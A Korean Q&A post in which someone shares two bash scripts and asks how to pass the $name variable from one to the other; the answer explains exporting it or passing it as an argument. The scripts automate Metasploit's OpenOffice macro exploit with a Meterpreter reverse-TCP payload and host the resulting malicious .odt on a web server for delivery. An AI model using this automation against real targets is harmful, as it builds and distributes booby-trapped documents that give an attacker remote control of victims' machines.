나는 bash 스크립트를 작성했다
script1.sh
#!/bin/sh
read -p "Enter name of the document file :" name
read -p "Enter LHOST :" lhost
read -p "Enter LPORT :" lport
echo "use exploit/multi/misc/openoffice_document_macro
set set payload windows/meterpreter/reverse_tcp_allports
set FIlENAME $name.odt
set LHOST $lhost
set LPORT $lport
exploit
background
exploit" > output.txt
set ExitOnSession false
gnome-terminal -e "./script2.sh"
echo "Now Starting metasploit !"
msfconsole -r open_office_macro.rc
script2.sh
#!/bin/sh
file=/root/.msf4/local/$name.odt
if [ -f "$file" ]
then
cp /root/.msf4/local/$name.odt /var/www/html
cd /var/www/html
python -m SimpleHTTPServer
else
echo "$file not found."
fi
$name 매개변수를 script1에서 script2로 전달하는 방법은 무엇입니까?
답변1
두 가지 가능성이 있습니다:
- 내보내기 변수로 만듭니다(이 경우 모두 대문자로 만드는 것이 좋습니다(예: NAME)). 이렇게 하면 하위 프로세스의 환경에 배치됩니다.
- 명시적 매개변수로 전달합니다.
예시 1:
# Use it as exported variable
export NAME
read -p .... NAME
실시예 2
# in script1:
read -p .... name
script2.sh $name
# Fetch it in script2:
name="${1?No name supplied}"